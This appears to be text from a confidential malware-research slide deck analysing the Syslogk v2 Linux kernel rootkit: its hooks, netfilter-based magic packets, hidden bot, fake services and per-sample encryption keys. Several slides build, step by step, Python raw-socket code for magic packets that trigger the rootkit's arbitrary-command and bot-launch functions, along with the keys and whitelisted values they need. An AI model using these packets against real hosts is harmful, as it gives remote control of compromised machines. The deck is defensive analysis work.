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Let’s talk about Syslogk Linux kernel rootkit v2 and the bot that it 
hides.

Who am I?
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Features

Usermode bot
● It fakes a different service on each sample.

○ tcp, ohttp, http, ssl, https, smtp

● It can run in different modes.
○ Normal
○ Callback
○ Proxy

■ Send magic packets to other infected machines
■ Fake normal traffic (Mozilla Firefox, Apache 2)

● It can spawn a reverse shell.

● It can stop its own execution.

Kernel rootkit
● It hides the kernel module (removes itself from the list).

○ Hidden flag status: /proc/bus/input/stat

● It hides directories (hooks proc_root_readdir).

● It hides bot processes (hooks proc_filldir).

● It hides Network traffic (hooks tcp4_seq_show).

● It implements magic packets.
○ Keys and encryption algorithms are different per sample.
○ It can execute the bot in different modes
○ It can execute arbitrary commands

Syslogk
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Overviewing the kernel rootkit

Syslogk v2

4

User Applications

Architecture-Dependent Kernel Code

GNU C Library (glibc)

System Call Interface

Kernel

User space

Kernel space
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Hunting the kernel mode component

● Compiled in a Redhat 7.6 environment. (.modinfo section)

Syslogk v2
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rhelversion=7.6
vermagic=3.10.0-957.el7.x86_64 SMP mod_unload modversions
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Hunting the kernel mode component

● Compiled in a Redhat 7.6 environment. (.modinfo section)

○ Compatible with CentOS 7.9 (free distribution).

Syslogk v2
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rhelversion=7.6
vermagic=3.10.0-957.el7.x86_64 SMP mod_unload modversions

https://sourceforge.net/projects/linuxvmimages/files/VirtualBox/C/7/CentOS_7.9.2009_VBM.zip/download?use_mirror=netcologne&download=&failedmirror=deac-ams.dl.sourceforge.net
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Hunting the kernel mode component

Features:

Syslogk v2
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Hunting the kernel mode component

Features:
1. It hides itself.

Syslogk v2
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Hunting the kernel mode component

Features:
2. It hides a usermode bot that is not continuously running.

Syslogk v2
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Hunting the kernel mode component

Features:
2. It hides a usermode bot that is not continuously running.

Syslogk v2
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● proc_root_readdir ● tcp4_seq_show ● proc_filldir
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Hunting the kernel mode component

Features:
2. It hides a usermode bot that is not continuously running.
● It uses Udis86 for implementing the inline hooks.

Syslogk v2
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Hunting the kernel mode component

Features:
2. It hides a usermode bot that is not continuously running.
● Disassemble the first instruction of the function to hook.

Syslogk v2
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Hunting the kernel mode component

Features:
2. It hides a usermode bot that is not continuously running.
● Check if it is already hooked, in such case, skip hooking it.

Syslogk v2
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Hunting the kernel mode component

Features:
2. It hides a usermode bot that is not continuously running.
● Otherwise, backup the original bytes.

Syslogk v2
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Hunting the kernel mode component

Features:
2. It hides a usermode bot that is not continuously running.
● Perform inline hooking for all the symbols in the hks structure of the rootkit.

Syslogk v2
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Hunting the kernel mode component

Features:
3. It executes the bot via “magic packets”.

Syslogk v2
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Understanding Syslogk v2 rootkit magic packets

1. The usermode bot is not running.

Syslogk v2

17



Avast Confidential

Understanding Syslogk v2 rootkit magic packets

1. The usermode bot is not running.
2. The attacker sends a “magic packet”.

Syslogk v2
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Understanding Syslogk v2 rootkit magic packets

1. The usermode bot is not running.
2. The attacker sends a “magic packet”.

Syslogk v2
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Understanding Syslogk v2 rootkit magic packets

1. The usermode bot is not running.
2. The attacker sends a “magic packet”.

Syslogk v2
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Understanding Syslogk v2 rootkit magic packets

1. The usermode bot is not running.
2. The attacker sends a “magic packet”.
3. Syslogk v2 inspects the packet via Netfilter hooks.

Syslogk v2
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packet

struct sk_buff *skb;

Syslogk v2 netfilter hooks
struct nf_hook_entries;

nf_out

verdictverdict verdict

delete packet

NF_DROP

delete packet

NF_DROP

delete packet

NF_DROP

NF_ACCEPT NF_ACCEPT NF_ACCEPT

nf_in_pronf_in
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Understanding Syslogk v2 rootkit magic packets

1. The usermode bot is not running.
2. The attacker sends a “magic packet”.
3. Syslogk v2 inspects the packet via Netfilter hooks.

Syslogk v2
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Netfilter hook field structure

Hook Entry Hook PF Hook Num Priority

nf_in_pro nfinpro 2 1 0x7FFFFFFF

nf_out nfout 2 3 0x80000000

nf_in nfin 2 1 0x80000000
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Understanding Syslogk v2 rootkit magic packets

1. The usermode bot is not running.
2. The attacker sends a “magic packet”.
3. Syslogk v2 inspects the packet via Netfilter hooks.

Syslogk v2
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Netfilter hook field structure

Hook Entry Hook PF Hook Num Priority

nf_in_pro nfinpro 2 1 INT_MAX

nf_out nfout 2 3 INT_MIN

nf_in nfin 2 1 INT_MIN
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Understanding Syslogk v2 rootkit magic packets

1. The usermode bot is not running.
2. The attacker sends a “magic packet”.
3. Syslogk v2 inspects the packet via Netfilter hooks.

Syslogk v2
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Netfilter hook field structure

Hook Entry Hook PF Hook Num Priority

nf_in_pro nfinpro 2 1 0x7FFFFFFF

nf_out nfout 2 3 0x80000000

nf_in nfin 2 1 0x80000000
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Understanding Syslogk v2 rootkit magic packets

1. The usermode bot is not running.
2. The attacker sends a “magic packet”.
3. Syslogk v2 inspects the packet via Netfilter hooks.

Syslogk v2
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Netfilter hook field structure

Hook Entry Hook PF Hook Num Priority

nf_in_pro nfinpro 2 1 0x7FFFFFFF

nf_out nfout 2 3 0x80000000

nf_in nfin 2 1 0x80000000
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Understanding Syslogk v2 rootkit magic packets

1. The usermode bot is not running.
2. The attacker sends a “magic packet”.
3. Syslogk v2 inspects the packet via Netfilter hooks.

Syslogk v2
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Netfilter hook field structure

Hook Entry Hook PF Hook Num Priority

nf_in_pro nfinpro 2 1 0x7FFFFFFF

nf_out nfout 2 3 0x80000000

nf_in nfin 2 1 0x80000000
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Understanding Syslogk v2 rootkit comands

1. The usermode bot is not running.
2. The attacker sends a “magic packet”.
3. Syslogk v2 inspects the packet via Netfilter hooks.

a. Magic packets allows to execute the following  four 

commands.

Syslogk v2

Command ID Command to execute (in usermode space)

0 /etc//tp-b8PbR2v1ms/sm1v2RbP8b cb

1 /bin/sh -c /etc//tp-b8PbR2v1ms/sm1v2RbP8b

2 /etc//tp-b8PbR2v1ms/sm1v2RbP8b proxy

99 /bin/sh -c command_to_execute_here

https://git.int.avast.com/alvarez/SyslogkRootkitV2/blob/main/Research%20Tools/magic_packet_run_usermode_app_without_parameters_command_syslogk_v2.py
https://git.int.avast.com/alvarez/SyslogkRootkitV2/blob/main/Research%20Tools/magic_packet_run_proxy_mode_command_syslogk_v2.py
https://git.int.avast.com/alvarez/SyslogkRootkitV2/blob/main/Research%20Tools/magic_packet_arbitrary_command_syslogk_v2.py
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Understanding Syslogk v2 rootkit comands

1. The usermode bot is not running.
2. The attacker sends a “magic packet”.
3. Syslogk v2 inspects the packet via Netfilter hooks.

a. Magic packets allows to execute the following  four 

commands.
b. Commands 1 and 2 sets some internal variables.

Syslogk v2

Command ID Command to execute (in usermode space)

0 /etc//tp-b8PbR2v1ms/sm1v2RbP8b cb

1 /bin/sh -c /etc//tp-b8PbR2v1ms/sm1v2RbP8b

2 /etc//tp-b8PbR2v1ms/sm1v2RbP8b proxy

99 /bin/sh -c command_to_execute_here

variables Command ID 1 Command ID 2

logininfo IP Source Address IP Source Address

logininfo+4 N/A TCP Source Port

logininfo+6 TCP Destination Port TCP Destination Port

qword_1E2E8 (Bot Port) 0 0

dword_1E2F0 (Parsing state) 1 3

state (0=null;1=normal;2=proxy) 1 2

https://git.int.avast.com/alvarez/SyslogkRootkitV2/blob/main/Research%20Tools/magic_packet_run_usermode_app_without_parameters_command_syslogk_v2.py
https://git.int.avast.com/alvarez/SyslogkRootkitV2/blob/main/Research%20Tools/magic_packet_run_proxy_mode_command_syslogk_v2.py
https://git.int.avast.com/alvarez/SyslogkRootkitV2/blob/main/Research%20Tools/magic_packet_arbitrary_command_syslogk_v2.py
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Hunting the bot component

We hunted a sample of the hidden bot, based on the kernel rootkit commands executed in usermode space.

Syslogk v2
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Understanding the arguments of the bot component

The hidden bot is a command line application.

It matches the analysis of the magic packets but with the ability of fixing the port.

Syslogk v2

/etc//tp-b8PbR2v1ms/sm1v2RbP8b [ cb | proxy ] [ port ]

Arguments Description

The bot listens for one request and ends the execution.

cb The bot enters in a loop receiving callback notifications for handling requests.

proxy Acts as a proxy for executing sending magic packets to other infected machines.

port Fixes the port number for the aforementioned commands.
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Overviewing the bot. Commands implemented on it.

● Kill the bot

*The pid is stored in an internal variable initialized to -1.

Syslogk v2
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● Spawn a reverse shell.
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.

Syslogk v2
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.

Syslogk v2
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.

Syslogk v2
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magic packet
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.

○ __step1__

Syslogk v2
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Proxy

Login:
Source IP
Source Port
Destination Port
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.

Syslogk v2
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.

Syslogk v2
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Proxy

command
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.

○ __step2__

Syslogk v2
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Proxy

command
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.

Syslogk v2
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.

Syslogk v2
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Command executed!

Proxy
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.

Syslogk v2
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Proxy

Attacker
logged in

Attacker
logged in
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.
● Update logininfo

Syslogk v2
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Proxy
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.
● Update logininfo

Syslogk v2
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Proxy
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.
● Update logininfo

○ __step3__

Syslogk v2
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Proxy
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.
● Update logininfo

Syslogk v2
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Proxy

Update login:
Source IP
Source Port
Destination Port



Avast Confidential

Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.
● Update logininfo

Syslogk v2
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Proxy
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.
● Update logininfo

Syslogk v2
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Proxy
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.
● Update logininfo

Syslogk v2
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Proxy

command

Proxy
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Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.
● Update logininfo

○ __step3__

Syslogk v2
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Proxy

magic packet
Proxy



Avast Confidential

Moving from backdoor to bot infrastructure - magic packets

The bot is also able to send magic packets:
● To the rootkit in the same machine.
● But also targeting other machines.
● Update logininfo

○ __step3__

Syslogk v2
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Proxy

Update login:
Source IP
Source Port
Destination Port

Proxy
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Extracting the magic packets requirements for Syslogk v2 rootkit

Identify the type of the packet.

● r12 points to the IP header.
● 9 is the offset to the protocol.
● 6 is the constant for the TCP protocol.

Syslogk v2

51

ip_header  =  b'\x45\x00\x00\x00'  # Version, IHL, Type of Service | Total Length
ip_header += b'\x00\x00\x00\x00'  # Identification | Flags, Fragment Offset
ip_header += b'\x00\x06\x00\x00'  # TTL, Protocol | Header Checksum
ip_header += b'\x00\x00\x00\x00'  # Source Address
ip_header += b'\x00\x00\x00\x00'  # Destination Address

tcp_header  =  b'\x00\x00\x00\x00' # Source Port | Destination Port
tcp_header += b'\x00\x00\x00\x00' # Sequence Number
tcp_header += b'\x00\x00\x00\x00' # Acknowledgement Number
tcp_header += b'\x00\x00\x00\x00' # Data Offset, Reserved, Flags | Window Size
tcp_header += b'\x00\x00\x00\x00' # Checksum | Urgent Pointer
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Extracting the magic packets requirements for Syslogk v2 rootkit

Perform static analysis while testing the hypotheses with a kernel tracer or kernel debugger.

Linux incorporates kernel tracing facilities via KProbes allowing to trace: memory addresses, symbols and functions.

1. The rootkit hides itself. It is straightforward to patch it.

2. Get its name via lsmod.

3. Get its base address.

Syslogk v2

52

[root@centos7 Kprobe_debug_Syslogk_Rootkit]# lsmod
disksc                151035  0

[root@centos7 Kprobe_debug_Syslogk_Rootkit]# cat /proc/modules | grep disksc
disksc 151035 0 - Live 0xffffffffc08f9000 (OE)

with open(f_name, "r+b") as f:
  f.seek(0xAB5)
  f.write(b"\xC3")
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Extracting the magic packets requirements for Syslogk v2 rootkit

Perform static analysis while testing the hypotheses with a kernel tracer or kernel debugger.

Trace the magic packets execution via KProbes.

● The module base address.

● Establish your tracepoints.

○ For a memory address

○ For a symbol

Syslogk v2

53

#define MODULE_BASE_ADDRESS 0xffffffffc08f9000L // cat /proc/modules | grep disksc

static struct kprobe kp_nfin_packet_fields_checks = {
.addr= MODULE_BASE_ADDRESS+0x1875,

};

static struct kprobe kp_call_usermodehelper_exec = {
.symbol_name = "call_usermodehelper",

};



Avast Confidential

Extracting the magic packets requirements for Syslogk v2 rootkit

Perform static analysis while testing the hypotheses with a kernel tracer or kernel debugger.

Write your KProbe handler.

Syslogk v2

54

#ifdef CONFIG_X86_64 
char* r12 = regs->r12;
char* r13 = regs->r13;
char protocol = r12[0x9];
char reserved = r13[0x0D];
int data_offset_shifted_four_bits_right = regs->si  & 0xff;
pr_info("magic packet protocol: [%d]\n", protocol & 0xff);
if(protocol==6) pr_info("The protocol fits the requirements");
pr_info("magic packet reserved: [%d]\n", reserved & 0xff);
if(reserved==2) pr_info("The reserved fits the requirements");
pr_info("magic packet data_offset_shifted_four_bits_right: [%d]\n", data_offset_shifted_four_bits_right);
pr_info("Data expected to be at offset (shl data_offset, 4) * 4 = %d", data_offset_shifted_four_bits_right*4);

#endif
return 0;
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Extracting the magic packets requirements for command ID 99

Example for command ID 99.

● Goal: Reach the start_exec function with command id = 99

Syslogk v2

55
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Extracting the magic packets requirements for command ID 99

Example for command ID 99.

         Identify the caller basic block and prepare a zero-initialized IP/TCP packet template.

Syslogk v2

56

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

ip_header  =  b'\x45\x00\x00\x00'  # Version, IHL, Type of Service | Total Length
ip_header += b'\x00\x00\x00\x00'  # Identification | Flags, Fragment Offset
ip_header += b'\x00\x00\x00\x00'  # TTL, Protocol | Header Checksum
ip_header += b'\x00\x00\x00\x00'  # Source Address
ip_header += b'\x00\x00\x00\x00'  # Destination Address

tcp_header  =  b'\x00\x00\x00\x00' # Source Port | Destination Port
tcp_header += b'\x00\x00\x00\x00' # Sequence Number
tcp_header += b'\x00\x00\x00\x00' # Acknowledgement Number
tcp_header += b'\x00\x00\x00\x00' # Data Offset, Reserved, Flags | Window Size
tcp_header += b'\x00\x00\x00\x00' # Checksum | Urgent Pointer
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Extracting the magic packets requirements for command ID 99

Example for command ID 99.

         Identify the caller basic block and prepare a zero-initialized IP/TCP packet template.

● r12 points to ip_header
● r12 + 9 points to Protocol
● The Protocol must to be 6

Syslogk v2

57

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

ip_header  =  b'\x45\x00\x00\x00'  # Version, IHL, Type of Service | Total Length
ip_header += b'\x00\x00\x00\x00'  # Identification | Flags, Fragment Offset
ip_header += b'\x00\x06\x00\x00'  # TTL, Protocol | Header Checksum
ip_header += b'\x00\x00\x00\x00'  # Source Address
ip_header += b'\x00\x00\x00\x00'  # Destination Address

tcp_header  =  b'\x00\x00\x00\x00' # Source Port | Destination Port
tcp_header += b'\x00\x00\x00\x00' # Sequence Number
tcp_header += b'\x00\x00\x00\x00' # Acknowledgement Number
tcp_header += b'\x00\x00\x00\x00' # Data Offset, Reserved, Flags | Window Size
tcp_header += b'\x00\x00\x00\x00' # Checksum | Urgent Pointer
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Extracting the magic packets requirements for command ID 99

Example for command ID 99.

         Make the template fulfill the requirements.

● r13 points to tcp_header
● r13 + 0xD points to Flags
● The Reserved must to be 2

Syslogk v2
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import socket
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

ip_header  =  b'\x45\x00\x00\x00'  # Version, IHL, Type of Service | Total Length
ip_header += b'\x00\x00\x00\x00'  # Identification | Flags, Fragment Offset
ip_header += b'\x00\x06\x00\x00'  # TTL, Protocol | Header Checksum
ip_header += b'\x00\x00\x00\x00'  # Source Address
ip_header += b'\x00\x00\x00\x00'  # Destination Address

tcp_header  =  b'\x00\x00\x00\x00' # Source Port | Destination Port
tcp_header += b'\x00\x00\x00\x00' # Sequence Number
tcp_header += b'\x00\x00\x00\x00' # Acknowledgement Number
tcp_header += b'\x00\x02\x00\x00' # Data Offset, Reserved, Flags | Window Size
tcp_header += b'\x00\x00\x00\x00' # Checksum | Urgent Pointer
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Extracting the magic packets requirements for command ID 99

Example for command ID 99.

         Make the template fulfill the requirements.

● r13 points to tcp_header
● r13 + 0xC points to Flags
● 0x50 right shifted 4 bits is 5

Syslogk v2
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import socket
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

ip_header  =  b'\x45\x00\x00\x00'  # Version, IHL, Type of Service | Total Length
ip_header += b'\x00\x00\x00\x00'  # Identification | Flags, Fragment Offset
ip_header += b'\x00\x06\x00\x00'  # TTL, Protocol | Header Checksum
ip_header += b'\x00\x00\x00\x00'  # Source Address
ip_header += b'\x00\x00\x00\x00'  # Destination Address

tcp_header  =  b'\x00\x00\x00\x00' # Source Port | Destination Port
tcp_header += b'\x00\x00\x00\x00' # Sequence Number
tcp_header += b'\x00\x00\x00\x00' # Acknowledgement Number
tcp_header += b'\x50\x02\x00\x00' # Data Offset, Reserved, Flags | Window Size
tcp_header += b'\x00\x00\x00\x00' # Checksum | Urgent Pointer
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Extracting the magic packets requirements for command ID 99

Example for command ID 99.

         Make the template fulfill the requirements.

● 0x50 right shifted 4 bits is 5
● 5 multiplied by 4 is 20

○ 20 is the offset to the
end of the TCP header.

○ The data is there.
● rdi points to the data.

Syslogk v2

60

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

ip_header  =  b'\x45\x00\x00\x00'  # Version, IHL, Type of Service | Total Length
ip_header += b'\x00\x00\x00\x00'  # Identification | Flags, Fragment Offset
ip_header += b'\x00\x06\x00\x00'  # TTL, Protocol | Header Checksum
ip_header += b'\x00\x00\x00\x00'  # Source Address
ip_header += b'\x00\x00\x00\x00'  # Destination Address

tcp_header  =  b'\x00\x00\x00\x00' # Source Port | Destination Port
tcp_header += b'\x00\x00\x00\x00' # Sequence Number
tcp_header += b'\x00\x00\x00\x00' # Acknowledgement Number
tcp_header += b'\x50\x02\x00\x00' # Data Offset, Reserved, Flags | Window Size
tcp_header += b'\x00\x00\x00\x00' # Checksum | Urgent Pointer
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Extracting the magic packets requirements for command ID 99

Example for command ID 99.

         Make the template fulfill the requirements.

● It checks a DWORD value.
○ Send it in reverse order.

● For each byte, the last bit is
flipped before comparing it.

Syslogk v2

61

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

flip_last_bit_for_all_bytes = lambda str:''.join([chr(ord(x) ^ ord("\x01")) for x in str])

magic_value = "\x11\x22\x33\x44"[::-1]

data = flip_last_bit_for_all_bytes(magic_value)
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Extracting the magic packets requirements for command ID 99

Example for command ID 99.

         Make the template fulfill the requirements.

● The data should be bigger
than 292 bytes.
○ At least, 293 bytes.

● We need to add padding to it.
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import socket
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

flip_last_bit_for_all_bytes = lambda str:''.join([chr(ord(x) ^ ord("\x01")) for x in str])

magic_value = "\x11\x22\x33\x44"[::-1]

padding2 = "B" * (293 - len(magic_value))

data = flip_last_bit_for_all_bytes(magic_value + padding2)
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Extracting the magic packets requirements for command ID 99

Example for command ID 99.

         Make the template fulfill the requirements.

● rbx+4 should point to a
null-terminated string (a key).
○ +4 because of the length

of the magic value
0x11223344.

● We need to adjust the
padding also according to it.
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import socket
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

flip_last_bit_for_all_bytes = lambda str:''.join([chr(ord(x) ^ ord("\x01")) for x in str])

magic_value = "\x11\x22\x33\x44"[::-1]
key = "ujeoirtfbvs"
null = "\x00"

padding2 = "B" * (293 - len(magic_value) - len(key) - len(null))

data = flip_last_bit_for_all_bytes(magic_value + key + null)
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Extracting the magic packets requirements for command ID 99

Example for command ID 99.

         Make the template fulfill the requirements.

● start_exec receives the
Command ID in esi.
(99 in this case).

● Command 99 executes the
arbitrary command in rdi.

● The command is at offset 0x24.
○ We can add padding for it.
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import socket
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

ARBITRARY_COMMAND = "echo command executed > /tmp/avast.txt"

flip_last_bit_for_all_bytes = lambda str:''.join([chr(ord(x) ^ ord("\x01")) for x in str])
magic_value = "\x11\x22\x33\x44"[::-1]
key = "ujeoirtfbvs"
null = "\x00"
padding1 = "A" * (0x24 - len(key) - len(magic_value) - len(null))
padding2 = "B" * (293 - len(magic_value) - len(key) - len(null) - len(padding1) - 
len(ARBITRARY_COMMAND) - len(null))
data = flip_last_bit_for_all_bytes(magic_value + key + null + padding1 + 
                                                     ARBITRARY_COMMAND+ null + padding2)
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Executing the magic packet for triggering command ID 99

Example for command ID 99.

         Sending the magic packet and tracing it with KProbes.
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Extracting the magic packets requirements for command ID 1

The highlights in  Command ID 1:

● Executing: /bin/sh -c /etc//tp-b8PbR2v1ms/sm1v2RbP8b

         The use of whitelisting for Identification and Sequence Number fields is the key point in this packet:
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valid_ids = [0x27E5, 0x6CC8, 0x0F575, ….]

valid_seqs = [ 0x36DF0DBE, 0x2E850DA1, 0x31307614, …. ]

ip_header += b'\xCA\xFE\x00\x00'  # Identification | Flags, Fragment Offset
ip_header = ip_header.replace(b'\xCA\xFE', struct.pack('>H', valid_ids[0]))

tcp_header += b'\xCA\xFE\xBA\xBE' # Sequence Number
tcp_header = tcp_header.replace('\xCA\xFE\xBA\xBE', struct.pack('>I', valid_seqs[0]))
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Extracting the magic packets requirements for command ID 1

The highlights in  Command ID 1 (version 2):

● Executing: /bin/sh -c /etc//tp-b8PbR2v1ms/sm1v2RbP8b

        For killing previous existing instances, there is a variant of the previous magic packet:
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ip_header = ip_header.replace('\xCA\xFE', struct.pack('<i', valid_ids[0]))

magic_value = "\x00\x00\x00\x2C"

key = "MDAwMDAwMTEAHuedzHTJiltbtQ=="

padding = "A" * (0x0A - len(magic_value))

data = magic_value + (padding + key)

packet = ip_header + tcp_header + data
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Extracting the magic packets requirements for command ID 2

The highlights in Command ID 2:

● Executing: /etc//tp-b8PbR2v1ms/sm1v2RbP8b proxy

         It uses of AES encryption and steps.
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data = "MDAwMDAwMTEAHuedzHTJiltbtQ==" # This is Length + ("__step1__" encrypted with AES in CTR mode) and base64 encoded

State Description

0 Setted if the check for step fails (and when killing the bot).

1 Setted before running the user mode app with command id=1 which executes:
/bin/sh -c /etc//tp-b8PbR2v1ms/sm1v2RbP8b

2 Setted after step1 and required for step3 (sets state to 0 updates logininfo)
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Encryption. Multiple keys for creating bot variants.

Syslogk uses encryption, not only for this step. (implemented via: https://github.com/kokke/tiny-AES-c/)
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Encryption Algorithm Key Parameters Used by

AES 60 3D EB 15 15 3A 71 5E 2B 73 AE F3 85 7D 75 8B 
1F 55 2C 57 3E 61 58 D7 2D 98 11 A3 39 14 DE FE

Mode CTR FormatEncode
FormatDecode

Label key

IV 12 A3 BB 47 53 5E C0 D5  39 
53 A6 FB AD 43 F5 73

https://github.com/kokke/tiny-AES-c/


Avast Confidential

Encryption. Multiple keys for creating bot variants.

Syslogk uses encryption, not only for this step.

Syslogk v2

70

Encryption Algorithm Key Parameters Used by

XOR 1101link Label xorkey EncodeDecode

XOR d3i9szdn Label xorkey1 EncodeDecode1

XOR 40239jig Label xorkey2 EncodeDecode2

XOR n430jdfk Label xorkey3 EncodeDecode3

XOR vndia323 Label xorkey4 EncodeDecode4

XOR dnj23fds Label xorkey5 EncodeDecode5
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Encryption. Multiple keys for creating bot variants.

Syslogk uses encryption, not only for this step.
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Encryption Algorithm Key Parameters Used by

RC4 63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 CA 82 
C9 7D FA 59 47 F0 AD D4 A2 AF 9C A4 72 C0 B7 FD 93 26 
36 3F F7 CC 34 A5 E5 F1 71 D8 B1 15 04 C7 23 C3 18 96 
05 9A 07 12 80 E2 EB 27 B2 75 19 83 2C 1A 1B 6E 5A A0 52 
3B D6 E3 29 E3 2F 84

Label rc4_key SimpleEncodeDecode

IV 12 A3 BB 47 53 5E C0 D5  39 
53 A6 FB AD 43 F5 73

RC4 07 FD 36 26 2C 3F F7 CC 34 AB E5 71 51 08 01 15 63 7C 
F2 7B C9 6B 6F C5 30 09 67 2B 00 17 2B 76 1A 82 16 7D 0A 
59 47 F0 AD DB A2 AF AC 14 72 20 19 83 12 1A 1B 6E 5A 
A0 52 37 D6 E3 19 13 2F 14 04 C7 55 13 18 96 05 9A 07 23 
80 02 0B 27 32 75

Label L7_rc4_key SimpleEncodeDecode_0

IV 12 A3 FE 47 93 5E 12 D5  39 
53 22 FB BD 43 98 73

RC4 07 FD 36 26 2C 3F DD 3C 34 AB B5 A1 51 08 91 15 B7 BD 
93 D6 F6 5F F7 CC 44 A5 C5 F1 71 D8 B1 F5 1A 82 16 ED 
0A 59 2B 73 AE F3 25 7D 35 8B 72 20 19 03 12 DA 1E 6E E5 
A0 52 37 46 E3 99 13 2F 14 04 C7 55 63 18 96 05 9A E7 23 
80 02 0B 27 32 75

Label manager_rc4_key SimpleEncodeDecode_1

IV 19 03 12 DA 1E 6E E5 A0  69 
53 82 BB BD F3 98 76



Avast Confidential

Extracting the magic packets requirements for command ID 2

A variant of Command ID 2:

● It kills existing instances before executing: /etc//tp-b8PbR2v1ms/sm1v2RbP8b proxy
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ip_header  = b'\x45\x00\x00\x00'  # Version, IHL, Type of Service | Total Length
ip_header += b'\x27\xE5\x00\x00'  # Identification | Flags, Fragment Offset
ip_header += b'\x00\x06\x00\x00'  # TTL, Protocol | Header Checksum
….
tcp_header += b'\x50\x08\x03\xFE' # Data Offset, Reserved, Flags | Window 
Size

ip_header = ip_header.replace('\xCA\xFE', struct.pack('<i', valid_ids[0]))
magic_value = "\x00\x00\x00\x2C"
key = "MDAwMDAwMTEAHuedzHTJiltbtQ=="
padding = "A" * (0x0A - len(magic_value))
data = magic_value + (padding + key)
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Extracting the magic packets requirements for command ID 2

After Command ID 2:

● Running step 3 for updating logininfo.

Step 3 requires proxy mode

● state = 2                   => Proxy mode state.
● dword_1E2F0 = 3    => Setted after executing proxy mode.
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data = "MDAwMDAwMDkqK/GGwHaOs2Y=" # This is Length + ("__step3__" encrypted with AES in CTR mode) and base64 encoded



Avast Confidential

The callback mode is not used for now

The highlights in Command ID 0:

● Executing: /etc//tp-b8PbR2v1ms/sm1v2RbP8b cb

         The callback mode call is not implemented (only 3 call references of commands with the command id hardcoded on it).
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● It patches the functions in the Virtual File System (VFS)

● Any directory containing the substring b8PbR2v1ms
will be hidden by the rootkit

Hiding the bot via Hooks
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● Adore-Ng uses the same technique
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Hiding the bot via Hooks

● It replaces the function hk_root_readdir by hk_root_readdir_0.

● Malicious bash, sh, and sm1v2RbP8b tasks will be also hidden.
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Hooks

Type of the function Offset Name of the function

Original hks+(0x38) * 0 proc_root_readdir

Hook hks+(0x38) * 0 + 0x10 hk_root_readdir_0

Original hks+(0x38) * 1 tcp4_seq_show

Hook hks+(0x38) * 1 + 0x10 hk_t4_seq_show

● Syslogk hook

● Adore-Ng uses the same technique
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Hiding the bot via Hooks

● It replaces the function tcp4_seq_show by hk_t4_seq_show.

● The connections performed by the bot are also hidden (lines containing the listening port are eliminated from the string).
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Hooks

Type of the function Offset Name of the function

Original hks+(0x38) * 0 proc_root_readdir

Hook hks+(0x38) * 0 + 0x10 hk_root_readdir_0

Original hks+(0x38) * 1 tcp4_seq_show

Hook hks+(0x38) * 1 + 0x10 hk_t4_seq_show
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Overviewing the bot
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User Applications

Architecture-Dependent Kernel Code

GNU C Library (glibc)

System Call Interface

Kernel

User space

Kernel space
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The bot is very stealth. Apart of being hidden by the rootkit, it can fake multiple services for connecting to it.

Overviewing the bot. Multiple fake services available.
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Protocol identifier Address Description

0 0x00406286 other

1 0x00406275 tcp

99 0x00406299 ohttp

2 0x00405CAE ssl

3 0x00405CCF https

4 0x00405CF0 smtp
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The bot is very stealth. Apart of being hidden by the rootkit, it can fake multiple protocols/services for connecting to it.
